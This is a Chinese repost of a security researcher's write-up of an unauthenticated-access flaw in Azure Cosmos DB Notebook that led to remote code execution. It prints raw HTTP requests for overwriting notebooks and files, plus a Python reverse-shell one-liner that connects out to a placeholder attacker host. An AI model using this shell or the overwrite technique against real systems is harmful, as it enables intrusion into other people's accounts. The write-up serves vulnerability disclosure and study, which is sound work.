RCE 之 Azure Cosmos DB Notebook

admin 2024年7月15日11:09:46评论10 views字数 4068阅读13分33秒阅读模式

RCE 之 Azure Cosmos DB Notebook

前言

Azure Cosmos DB Notebook是一个用于在Azure Cosmos DB中进行数据分析和查询的工具。它提供了一个交互式的环境,使用Jupyter Notebook的方式编写和执行查询、分析数据。用户可以在Notebook中编写代码来连接到Azure Cosmos DB的数据库和容器,执行多种语言来操作数据,还可以进行实时数据流处理等操作。

正文

主页面如下:

RCE 之 Azure Cosmos DB Notebook

创建新的 Notebook 时,存在该请求包:

POST /api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-dev/containerconnections/multicontainer HTTP/2Host: tools.cosmos.azure.comContent-Length: 88Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"Authorization: Bearer eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1Content-Type: application/jsonSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Sec-Ch-Ua-Platform: "macOS"Accept: /Origin: https://cosmos.azure.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cosmos.azure.com/Accept-Encoding: gzip, deflateAccept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5{"cosmosEndpoint":"https://orca-cosmos-dev.documents.azure.com:443/","poolId":"default"}

RCE 之 Azure Cosmos DB Notebook

返回包如下:

RCE 之 Azure Cosmos DB Notebook

可以看到,服务器返回了forwardingId,这个值将会存在于后续请求包的API接口中。

在渗透测试过程中,攻击者的forwardingId为27f180bc-cf93-4c42-b23e-f27a5085da57:

RCE 之 Azure Cosmos DB Notebook

通过测试发现,该接口用于列出同一台服务器的不同notebooks:

https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57(即forwardingId)/api/contents/notebooks

通过删除请求头Authorization并观察返回包可知,该接口存在未授权漏洞:

RCE 之 Azure Cosmos DB Notebook

经过后续测试,发现全站接口均存在未授权漏洞,即只要知道受害者的forwardingId,就可以利用所有接口,对受害者的notebook进行读写访问修改等操作)。

证明如下:

1、利用该接口获取kernels_id

/api/containergateway/[forwardingId]/api/kernels/

RCE 之 Azure Cosmos DB Notebook

2、任意Notebook代码覆盖、删除等

在 Notebook 中编写代码:

RCE 之 Azure Cosmos DB Notebook

保存:

RCE 之 Azure Cosmos DB Notebook

请求包如下:

RCE 之 Azure Cosmos DB Notebook

将Get请求修改为PUT请求,并利用返回包内容来构造Json请求体,发送至服务器:

PUT /api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2Host: [seasia.tools.cosmos.azure.com:1000](<http://seasia.tools.cosmos.azure.com:10005/>)7Content-Length: 983Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"Content-Type: application/jsonSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36Sec-Ch-Ua-Platform: "macOS"Accept: */*Origin: [<https://cosmos.azure.com>](<https://cosmos.azure.com/>)Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: [<https://cosmos.azure.com/>](<https://cosmos.azure.com/>)Accept-Encoding: gzip, deflateAccept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5{"kernel":{"id":null,"name":"python3"},"name":"","content": {"cells": [{"cell_type": "code", "execution_count": 1, "id": "47bdbef0-ea14-4960-8789-7983e63312dd", "metadata": {"collapsed": true, "execution": {"iopub.execute_input": "2022-10-02T08:06:27.283Z", "iopub.status.busy": "2022-10-02T08:06:27.277Z", "iopub.status.idle": "2022-10-02T08:06:27.299Z", "shell.execute_reply": "2022-10-02T08:06:27.292Z"}, "jupyter": {"outputs_hidden": false, "source_hidden": false}, "nteract": {"transient": {"deleting": false}}, "trusted": true}, "outputs": [{"name": "stdout", "output_type": "stream", "text": "hacked\n"}], "source": "print('Hacked!')"}], "metadata": {"language_info": {"file_extension": "ipynb", "mimetype": "application/json", "name": "python", "version": "3.7"}, "nteract": {"version": "dataExplorer 1.0"}}, "nbformat": 4, "nbformat_minor": 5}, "format": "json", "mimetype": null, "size": 993, "writable": true, "path":"notebooks/Untitled.ipynb","type":"notebook"}

RCE 之 Azure Cosmos DB Notebook

在浏览器刷新页面后,可以看到请求体内容已将原有Notebook中的代码覆盖:

RCE 之 Azure Cosmos DB Notebook

同时,我们也可以执行删除代码等操作。

经过后续测试发现,使用 Azure UI 加载 Cosmos 数据资源管理器时,该api将用于构建资源管理器仪表板:

/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py

RCE 之 Azure Cosmos DB Notebook

我们仍然可以覆盖/home/cosmosuser目录中的所有文件,包括该kernelspec.py文件。

现将GET请求修改为PUT,并在请求体中添加py文件原始内容及以下反向shell脚本:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_ID\",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")

RCE 之 Azure Cosmos DB Notebook

发送请求并刷新页面后,RCE成功:

RCE 之 Azure Cosmos DB Notebook

原文出处:
https://orca.security/resources/blog/cosmiss-vulnerability-azure-cosmos-db/

原文始发于微信公众号(芳华绝代安全团队):RCE 之 Azure Cosmos DB Notebook

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日11:09:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RCE 之 Azure Cosmos DB Notebookhttps://cn-sec.com/archives/2954309.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息